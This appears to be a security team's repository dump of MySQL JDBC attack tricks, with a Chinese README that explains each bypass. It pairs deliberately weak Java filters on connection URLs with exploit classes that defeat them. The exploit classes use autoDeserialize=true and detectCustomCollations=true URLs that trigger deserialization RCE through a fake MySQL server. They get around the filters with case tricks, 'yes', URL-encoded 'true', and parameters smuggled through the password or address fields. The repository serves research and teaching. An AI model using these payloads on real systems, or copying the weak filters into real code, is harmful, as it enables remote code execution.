Repository: Y4Sec-Team/mysql-jdbc-tricks
Branch: master
Commit: dfc4f920ef75
Files: 26
Total size: 21.4 KB
Directory structure:
gitextract_z5ohkhvb/
├── .gitignore
├── README.md
├── pom.xml
└── src/
└── main/
└── java/
└── org/
└── y4sec/
└── team/
├── app/
│ ├── Application1.java
│ ├── Application10.java
│ ├── Application2.java
│ ├── Application3.java
│ ├── Application4.java
│ ├── Application5.java
│ ├── Application6.java
│ ├── Application7.java
│ ├── Application8.java
│ └── Application9.java
└── exploit/
├── Example1.java
├── Example10.java
├── Example2.java
├── Example3.java
├── Example4.java
├── Example5.java
├── Example6.java
├── Example7.java
├── Example7Bypass.java
├── Example8.java
├── Example8Bypass.java
├── Example9.java
└── Example9Bypass.java
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
target/
!.mvn/wrapper/maven-wrapper.jar
!**/src/main/**/target/
!**/src/test/**/target/
### IntelliJ IDEA ###
.idea/modules.xml
.idea/jarRepositories.xml
.idea/compiler.xml
.idea/libraries/
*.iws
*.iml
*.ipr
### Eclipse ###
.apt_generated
.classpath
.factorypath
.project
.settings
.springBeans
.sts4-cache
### NetBeans ###
/nbproject/private/
/nbbuild/
/dist/
/nbdist/
/.nb-gradle/
build/
!**/src/main/**/build/
!**/src/test/**/build/
### VS Code ###
.vscode/
### Mac OS ###
.DS_Store
.idea/
================================================
FILE: README.md
================================================
## mysql-jdbc-tricks
这里是很多`MySQL JDBC Attack`的小技巧,我仅在`MySQL`的`JDBC`驱动中测试,这里的技巧可能在其他类型的数据库驱动中也存在
文章:https://mp.weixin.qq.com/s/lmoWKK41ZQzZOh-P26VUng
推荐搭建:推荐配合 https://github.com/4ra1n/mysql-fake-server 使用
### 基本示例
参考`Application1`和`Example1`代码
这是一个不存在任何过滤的情况,直接执行即可`RCE`
### 大小写绕过
参考`Application1`和`Example1`代码
这里展示了一种简单的防护和绕过,`MySQL`驱动对于连接参数的大小不做限制,如果开发者不做大小写限制,将会被轻易饶过
### YES绕过
参考`Application3`和`Example3`代码
这里展示了一种简单的防护和绕过,`MySQL`驱动允许的`Bool`值是包含`true/yes`两种的,因此存在一种绕过
### 编码绕过
参考`Application4`和`Example4`代码
这里展示了某些情况下的绕过,`MySQL`驱动允许`URL`编码,因此如果开发者没有按照标准`URL`解析和过滤,将会存在绕过
### 暂时的安全
参考`Application5`和`Example5`代码
对于这种情况,似乎是安全了,或许有其他的绕过?
### 另一种形式的传参
参考`Application6`和`Example6`代码
这也是`JDBC`攻击很常见的一种情况
### 额外参数检查绕过
参考`Application7`和`Example7Bypass`代码
限制额外连接参数情况下如何绕过
### 特殊情况下的#号绕过
参考`Application8`和`Example8Bypass`代码
一种特殊情况的绕过,属于一种逻辑漏洞
### 另一种特殊场景的绕过
参考`Application9`和`Example9Bypass`代码
另一种特殊情况的绕过,开发者忽略某些参数过滤导致的绕过
### 可能安全
参考`Application10`和`Example10`代码
对于这种情况,似乎是安全了,或许有其他的绕过?
================================================
FILE: pom.xml
================================================
4.0.0
org.y4sec
mysql-jdbc-tricks
1.0
8
8
UTF-8
mysql
mysql-connector-java
6.0.2
commons-beanutils
commons-beanutils
1.9.4
================================================
FILE: src/main/java/org/y4sec/team/app/Application1.java
================================================
package org.y4sec.team.app;
import java.sql.DriverManager;
public class Application1 {
public static void connection(String url){
try {
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
}
================================================
FILE: src/main/java/org/y4sec/team/app/Application10.java
================================================
package org.y4sec.team.app;
import java.sql.DriverManager;
public class Application10 {
public static void connection(String addr, String user, String db, String password, String extra) {
try {
String url = String.format("jdbc:mysql://%s/%s?", addr, db);
StringBuilder sb = new StringBuilder();
sb.append("user=");
sb.append(check(user));
sb.append("&");
sb.append("password=");
sb.append(check(password));
if (!extra.equals("")) {
sb.append("&");
sb.append(check(extra));
}
url = url + sb;
check(url);
System.out.println(url);
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
private static String check(String params) {
if (params.contains("autoDeserialize")) {
throw new RuntimeException("you are hacker");
}
return params;
}
}
================================================
FILE: src/main/java/org/y4sec/team/app/Application2.java
================================================
package org.y4sec.team.app;
import java.net.URI;
import java.sql.DriverManager;
import java.util.HashMap;
import java.util.Map;
public class Application2 {
public static void connection(String url){
try {
if(!check(url)) {
System.out.println("you are hacker");
return;
}
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
private static boolean check(String jdbcUrl){
try {
Map params = new HashMap<>();
String query = jdbcUrl.split("\\?")[1];
if (query != null) {
String[] pairs = query.split("&");
for (String pair : pairs) {
String[] keyValue = pair.split("=");
String key = keyValue[0];
String value = keyValue.length > 1 ? keyValue[1] : "";
params.put(key, value);
}
}
System.out.println("Params: " + params);
for (Map.Entry p: params.entrySet()){
if (p.getKey().equals("autoDeserialize")) {
if(p.getValue().equals("true")){
return false;
}
}
}
return true;
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
}
================================================
FILE: src/main/java/org/y4sec/team/app/Application3.java
================================================
package org.y4sec.team.app;
import java.net.URI;
import java.sql.DriverManager;
import java.util.HashMap;
import java.util.Map;
public class Application3 {
public static void connection(String url){
try {
if(!check(url)) {
System.out.println("you are hacker");
return;
}
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
private static boolean check(String jdbcUrl){
try {
Map params = new HashMap<>();
String query = jdbcUrl.split("\\?")[1];
if (query != null) {
String[] pairs = query.split("&");
for (String pair : pairs) {
String[] keyValue = pair.split("=");
String key = keyValue[0];
String value = keyValue.length > 1 ? keyValue[1] : "";
params.put(key, value);
}
}
System.out.println("Params: " + params);
for (Map.Entry p: params.entrySet()){
if (p.getKey().equals("autoDeserialize")) {
String value = p.getValue();
value = value.toLowerCase();
if(value.equals("true")){
return false;
}
}
}
return true;
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
}
================================================
FILE: src/main/java/org/y4sec/team/app/Application4.java
================================================
package org.y4sec.team.app;
import java.net.URI;
import java.sql.DriverManager;
import java.util.HashMap;
import java.util.Map;
public class Application4 {
public static void connection(String url) {
try {
if (!check(url)) {
System.out.println("you are hacker");
return;
}
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
private static boolean check(String jdbcUrl) {
try {
Map params = new HashMap<>();
String query = jdbcUrl.split("\\?")[1];
if (query != null) {
String[] pairs = query.split("&");
for (String pair : pairs) {
String[] keyValue = pair.split("=");
String key = keyValue[0];
String value = keyValue.length > 1 ? keyValue[1] : "";
params.put(key, value);
}
}
System.out.println("Params: " + params);
for (Map.Entry p : params.entrySet()) {
if (p.getKey().equals("autoDeserialize")) {
String value = p.getValue();
value = value.toLowerCase();
if (value.equals("true") || value.equals("yes")) {
return false;
}
}
}
return true;
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
}
================================================
FILE: src/main/java/org/y4sec/team/app/Application5.java
================================================
package org.y4sec.team.app;
import java.net.URI;
import java.sql.DriverManager;
import java.util.HashMap;
import java.util.Map;
public class Application5 {
public static void connection(String url) {
try {
if (!check(url)) {
System.out.println("you are hacker");
return;
}
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
private static boolean check(String jdbcUrl) {
try {
URI uri = new URI(jdbcUrl.replace("jdbc:", ""));
String host = uri.getHost();
int port = uri.getPort();
String path = uri.getPath();
String dbname = path.substring(1);
Map params = new HashMap<>();
String query = uri.getQuery();
if (query != null) {
String[] pairs = query.split("&");
for (String pair : pairs) {
String[] keyValue = pair.split("=");
String key = keyValue[0];
String value = keyValue.length > 1 ? keyValue[1] : "";
params.put(key, value);
}
}
System.out.println("Host: " + host);
System.out.println("Port: " + port);
System.out.println("DB Name: " + dbname);
System.out.println("Params: " + params);
for (Map.Entry p : params.entrySet()) {
if (p.getKey().equals("autoDeserialize")) {
String value = p.getValue();
value = value.toLowerCase();
if (value.equals("true") || value.equals("yes")) {
return false;
}
}
}
return true;
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
}
================================================
FILE: src/main/java/org/y4sec/team/app/Application6.java
================================================
package org.y4sec.team.app;
import java.net.URLDecoder;
import java.sql.DriverManager;
public class Application6 {
public static void connection(String addr,String user,String db,String password,String extra) {
try {
String url = String.format("jdbc:mysql://%s/%s?",addr,db);
StringBuilder sb = new StringBuilder();
sb.append("user=");
sb.append(user);
sb.append("&");
sb.append("password=");
sb.append(password);
if (!extra.equals("")){
sb.append("&");
sb.append(extra);
}
url = url + sb;
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
}
================================================
FILE: src/main/java/org/y4sec/team/app/Application7.java
================================================
package org.y4sec.team.app;
import java.sql.DriverManager;
import java.util.HashMap;
import java.util.Map;
public class Application7 {
public static void connection(String addr,String user,String db,String password,String extra) {
try {
String url = String.format("jdbc:mysql://%s/%s?",addr,db);
StringBuilder sb = new StringBuilder();
sb.append("user=");
sb.append(user);
sb.append("&");
sb.append("password=");
sb.append(password);
if (!check(extra)){
System.out.println("you are hacker");
return;
}
if (!extra.equals("")){
sb.append("&");
sb.append(extra);
}
url = url + sb;
System.out.println(url);
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
private static boolean check(String params){
try {
return !params.contains("autoDeserialize");
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
}
================================================
FILE: src/main/java/org/y4sec/team/app/Application8.java
================================================
package org.y4sec.team.app;
import java.sql.DriverManager;
public class Application8 {
public static void connection(String addr, String user, String db, String password, String extra) {
try {
String url = String.format("jdbc:mysql://%s/%s?", addr, db);
StringBuilder sb = new StringBuilder();
sb.append("user=");
sb.append(user);
sb.append("&");
sb.append("password=");
sb.append(password);
if (!check(extra)) {
System.out.println("you are hacker");
return;
}
if (!extra.equals("")) {
sb.append("&");
sb.append(extra);
}
if (url.endsWith("?")) {
url = url + sb + "autoDeserialize=false";
} else {
url = url + sb + "&autoDeserialize=false";
}
System.out.println(url);
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
private static boolean check(String params) {
try {
return !params.contains("autoDeserialize");
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
}
================================================
FILE: src/main/java/org/y4sec/team/app/Application9.java
================================================
package org.y4sec.team.app;
import java.sql.DriverManager;
public class Application9 {
public static void connection(String addr, String user, String db, String password, String extra) {
try {
String url = String.format("jdbc:mysql://%s/%s?", addr, db);
StringBuilder sb = new StringBuilder();
sb.append("user=");
sb.append(check(user));
sb.append("&");
sb.append("password=");
sb.append(check(password));
if (!extra.equals("")) {
sb.append("&");
sb.append(check(extra));
}
url = url + sb;
System.out.println(url);
Class.forName("com.mysql.cj.jdbc.Driver");
DriverManager.getConnection(url);
} catch (Exception e) {
e.printStackTrace();
}
}
private static String check(String params) {
if (params.contains("autoDeserialize")) {
throw new RuntimeException("you are hacker");
}
return params;
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example1.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application1;
public class Example1 {
public static void main(String[] args) {
String addr = "127.0.0.1:62787";
String params = "detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe";
String url = String.format( "jdbc:mysql://%s/test?%s",addr,params);
Application1.connection(url);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example10.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application10;
public class Example10 {
public static void main(String[] args) {
// 可控内容
String addr = "127.0.0.1:62787/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe";
String user = "deser_CB_calc.exe";
String password = "test";
String db = "test";
String extra = "";
Application10.connection(addr,user,db,password,extra);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example2.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application2;
public class Example2 {
public static void main(String[] args) {
String addr = "127.0.0.1:62787";
String params = "detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe";
String url = String.format("jdbc:mysql://%s/test?%s", addr, params);
Application2.connection(url);
addr = "127.0.0.1:62787";
params = "detectCustomCollations=true&autoDeserialize=tRue&user=deser_CB_calc.exe";
url = String.format("jdbc:mysql://%s/test?%s", addr, params);
Application2.connection(url);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example3.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application3;
public class Example3 {
public static void main(String[] args) {
String addr = "127.0.0.1:62787";
String params = "detectCustomCollations=true&autoDeserialize=tRue&user=deser_CB_calc.exe";
String url = String.format("jdbc:mysql://%s/test?%s", addr, params);
Application3.connection(url);
addr = "127.0.0.1:62787";
params = "detectCustomCollations=true&autoDeserialize=yes&user=deser_CB_calc.exe";
url = String.format("jdbc:mysql://%s/test?%s", addr, params);
Application3.connection(url);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example4.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application4;
public class Example4 {
public static void main(String[] args) {
String addr = "127.0.0.1:62787";
String params = "detectCustomCollations=true&autoDeserialize=yes&user=deser_CB_calc.exe";
String url = String.format("jdbc:mysql://%s/test?%s", addr, params);
Application4.connection(url);
addr = "127.0.0.1:62787";
params = "detectCustomCollations=true&autoDeserialize=%74%72%75%65&user=deser_CB_calc.exe";
url = String.format("jdbc:mysql://%s/test?%s", addr, params);
Application4.connection(url);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example5.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application5;
public class Example5 {
public static void main(String[] args) {
String addr = "127.0.0.1:62787";
String params = "detectCustomCollations=true&autoDeserialize=%74%72%75%65&user=deser_CB_calc.exe";
String url = String.format("jdbc:mysql://%s/test?%s", addr, params);
Application5.connection(url);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example6.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application6;
public class Example6 {
public static void main(String[] args) {
// 可控内容
String addr = "127.0.0.1:62787";
String user = "deser_CB_calc.exe";
String password = "test";
String db = "test";
String extra = "detectCustomCollations=true&autoDeserialize=true";
Application6.connection(addr,user,db,password,extra);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example7.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application7;
public class Example7 {
public static void main(String[] args) {
// 可控内容
String addr = "127.0.0.1:62787";
String user = "deser_CB_calc.exe";
String password = "test";
String db = "test";
String extra = "detectCustomCollations=true&autoDeserialize=true";
Application7.connection(addr,user,db,password,extra);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example7Bypass.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application7;
public class Example7Bypass {
public static void main(String[] args) {
// 可控内容
String addr = "127.0.0.1:62787";
String user = "deser_CB_calc.exe";
String password = "test&autoDeserialize=true&";
String db = "test";
String extra = "detectCustomCollations=true&";
Application7.connection(addr,user,db,password,extra);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example8.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application8;
public class Example8 {
public static void main(String[] args) {
// 可控内容
String addr = "127.0.0.1:62787";
String user = "deser_CB_calc.exe";
String password = "test&autoDeserialize=true&";
String db = "test";
String extra = "detectCustomCollations=true&";
Application8.connection(addr,user,db,password,extra);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example8Bypass.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application8;
public class Example8Bypass {
public static void main(String[] args) {
// 可控内容
String addr = "127.0.0.1:62787";
String user = "deser_CB_calc.exe";
String password = "test&autoDeserialize=true";
String db = "test";
String extra = "detectCustomCollations=true?";
Application8.connection(addr,user,db,password,extra);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example9.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application9;
public class Example9 {
public static void main(String[] args) {
// 可控内容
String addr = "127.0.0.1:62787";
String user = "deser_CB_calc.exe";
String password = "test&autoDeserialize=true&";
String db = "test";
String extra = "detectCustomCollations=true&";
Application9.connection(addr,user,db,password,extra);
}
}
================================================
FILE: src/main/java/org/y4sec/team/exploit/Example9Bypass.java
================================================
package org.y4sec.team.exploit;
import org.y4sec.team.app.Application9;
public class Example9Bypass {
public static void main(String[] args) {
// 可控内容
String addr = "127.0.0.1:62787/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CB_calc.exe";
String user = "deser_CB_calc.exe";
String password = "test";
String db = "test";
String extra = "";
Application9.connection(addr,user,db,password,extra);
}
}